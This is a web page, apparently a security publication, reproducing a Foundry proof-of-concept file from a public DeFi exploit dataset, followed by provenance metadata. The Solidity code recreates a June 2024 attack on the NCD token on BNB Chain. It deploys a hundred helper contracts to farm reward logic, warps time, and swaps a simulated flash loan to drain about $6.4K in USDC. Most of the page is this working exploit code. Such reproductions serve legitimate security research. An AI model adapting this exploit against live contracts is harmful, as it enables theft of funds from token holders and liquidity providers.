Public reproduction file
src/test/2024-06/NCD_exp.sol
Public reproduction file for dataset entry NCD.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1pragma solidity ^0.8.10;3import "forge-std/Test.sol";4import "../interface.sol";6// @KeyInfo - Total Lost : $6.4K7// Attacker : https://bscscan.com/address/0xd52f125085b70f7f52bd112500a9c334b72469848// Attack Contract : https://bscscan.com/address/0xfad2a0642a44a68606c2295e69d383700643be689// Attack Tx : https://bscscan.com/tx/0xbfb9b3b8a0d3c589a02f06c516b5c7b7569739edd00f9836645080f2148aefc711// GUY : https://x.com/SlowMist_Team/status/179782103431976560413interface INcd is IERC20 {14 function mineStartTime(15 address16 ) external view returns (uint256);17}19contract LetTheContractHaveRewards {20 IUniswapV2Pair private constant ncd_usdc_pair_ = IUniswapV2Pair(0x94Bb269518Ad17F1C10C85E600BDE481d4999bfF);21 INcd ncd_ = INcd(0x9601313572eCd84B6B42DBC3e47bc54f8177558E);23 function preStartTimeRewards() public /*onlyOwner*/ {24 ncd_usdc_pair_.skim(address(this));25 ncd_.transfer(address(ncd_usdc_pair_), ncd_.balanceOf(address(this)) * 5 / 100);26 ncd_.transfer(msg.sender, ncd_.balanceOf(address(this)));27 require(ncd_.mineStartTime(address(this)) > 0);28 }30 function ack() public /*onlyOwner*/ {31 //first, to get a reward32 ncd_.transfer(msg.sender, ncd_.balanceOf(address(this)));33 //seconds, to reward get msg.sender34 ncd_.transfer(msg.sender, ncd_.balanceOf(address(this)));35 }36}38contract LetTheContractHaveUsdc is Test {39 IERC20 ncd_ = IERC20(0x9601313572eCd84B6B42DBC3e47bc54f8177558E);40 IERC20 usdc_ = IERC20(0x55d398326f99059fF775485246999027B3197955);41 IRouter private constant router = IRouter(0x10ED43C718714eb63d5aA57B78B54704E256024E);42 IUniswapV2Pair private constant ncd_usdc_pair_ = IUniswapV2Pair(0x94Bb269518Ad17F1C10C85E600BDE481d4999bfF);44 function withdraw() public {45 usdc_.approve(address(router), type(uint256).max);46 ncd_.approve(address(router), type(uint256).max);47 address[] memory path = new address[](2);48 path[0] = address(ncd_);49 path[1] = address(usdc_);50 router.swapExactTokensForTokensSupportingFeeOnTransferTokens(51 ncd_.balanceOf(address(this)) * 5 / 100, 0, path, address(this), type(uint256).max52 );54 ncd_.transfer(msg.sender, ncd_.balanceOf(address(this)));55 usdc_.transfer(msg.sender, usdc_.balanceOf(address(this)));56 }57}59contract EuroExploit is Test {60 IERC20 ncd_ = IERC20(0x9601313572eCd84B6B42DBC3e47bc54f8177558E);61 IERC20 usdc_ = IERC20(0x55d398326f99059fF775485246999027B3197955);62 IRouter private constant router = IRouter(0x10ED43C718714eb63d5aA57B78B54704E256024E);63 IUniswapV2Pair private constant ncd_usdc_pair_ = IUniswapV2Pair(0x94Bb269518Ad17F1C10C85E600BDE481d4999bfF);65 LetTheContractHaveRewards[] letTheContractHaveRewardss;67 function setUp() public {68 vm.createSelectFork("bsc", 39_253_639);69 usdc_.approve(address(router), type(uint256).max);70 ncd_.approve(address(router), type(uint256).max);71 }73 function testExploit() public {74 deal(address(usdc_), address(this), 10 ether); //Assume this is an exchange for uniswap, not flashloan!75 emit log_named_decimal_uint("ack before usdc_ balance = ", usdc_.balanceOf(address(this)), usdc_.decimals());76 address[] memory path = new address[](2);77 path[0] = address(usdc_);78 path[1] = address(ncd_);79 router.swapExactTokensForTokensSupportingFeeOnTransferTokens(80 10 ether, 0, path, address(this), type(uint256).max81 );82 ncd_.transfer(address(ncd_usdc_pair_), ncd_.balanceOf(address(this)) * 5 / 100);84 for (uint256 i = 0; i < 100; i++) {85 LetTheContractHaveRewards letTheContractHaveRewards = new LetTheContractHaveRewards();86 letTheContractHaveRewards.preStartTimeRewards();87 letTheContractHaveRewardss.push(letTheContractHaveRewards);88 }90 vm.warp(block.timestamp + 1 days);92 deal(address(usdc_), address(this), 10_000 ether); //flashloan 10000 usdc93 router.swapExactTokensForTokensSupportingFeeOnTransferTokens(94 10_000 ether, 0, path, address(this), type(uint256).max95 );96 for (uint256 i = 0; i < letTheContractHaveRewardss.length; i++) {97 LetTheContractHaveRewards letTheContractHaveRewards = letTheContractHaveRewardss[i];98 ncd_.transfer(address(letTheContractHaveRewards), ncd_.balanceOf(address(this)));99 letTheContractHaveRewards.ack();100 }101 while (ncd_.balanceOf(address(this)) > 1000 ether) {102 // for(uint256 i = 0; i < 100; i++){103 LetTheContractHaveUsdc letTheContractHaveUsdc = new LetTheContractHaveUsdc();104 ncd_.transfer(address(letTheContractHaveUsdc), ncd_.balanceOf(address(this)));105 letTheContractHaveUsdc.withdraw();106 }108 usdc_.transfer(address(0xdead), 10_030 ether); // repay flashLoan109 emit log_named_decimal_uint("profit usdc_ balance = ", usdc_.balanceOf(address(this)), usdc_.decimals());110 }111}Analysis
Dataset entry
Public Foundry test for “NCD” (2024-06-04). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
14 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2024-06/APEMAGA_exp.solSame month in the dataset · 66 lines
- src/test/2024-06/Bazaar_exp.solSame month in the dataset · 63 lines
- src/test/2024-06/Crb2_exp.solSame month in the dataset · 101 lines
- src/test/2024-06/Dyson_money_exp.solSame month in the dataset · 108 lines
- src/test/2024-06/INcufi_exp.solSame month in the dataset · 208 lines
- src/test/2024-06/JokInTheBox_exp.solSame month in the dataset · 70 lines
- src/test/2024-06/MineSTM_exp.solSame month in the dataset · 63 lines
- src/test/2024-06/SteamSwap_exp.solSame month in the dataset · 77 lines
- src/test/2024-06/UwuLend_First_exp.solSame month in the dataset · 620 lines
- src/test/2024-06/Velocore_exp.solSame month in the dataset · 159 lines
- src/test/2024-06/WIFCOIN_ETH_exp.solSame month in the dataset · 62 lines
- src/test/2024-06/Will_exp.solSame month in the dataset · 63 lines
- src/test/2024-06/YYS_exp.solSame month in the dataset · 79 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xd52f125085b70f7f52bd112500a9c334b7246984
- Attack Contract
0xfad2a0642a44a68606c2295e69d383700643be68
- Attack Tx
0xbfb9b3b8a0d3c589a02f06c516b5c7b7569739edd00f9836645080f2148aefc7
File record
- Name
- NCD
- Path
- src/test/2024-06/NCD_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- d6b1431d4017ae13673b945cd43b5ea178a6c844
- Language
- Solidity
- Size
- 112 lines
- Date
- 2024-06-04
- Licence
- ThreatWire editorial text
- Retrieved
- 2026-10-19
Provenance
Path src/test/2024-06/NCD_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob d6b1431d4017ae13673b945cd43b5ea178a6c844, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.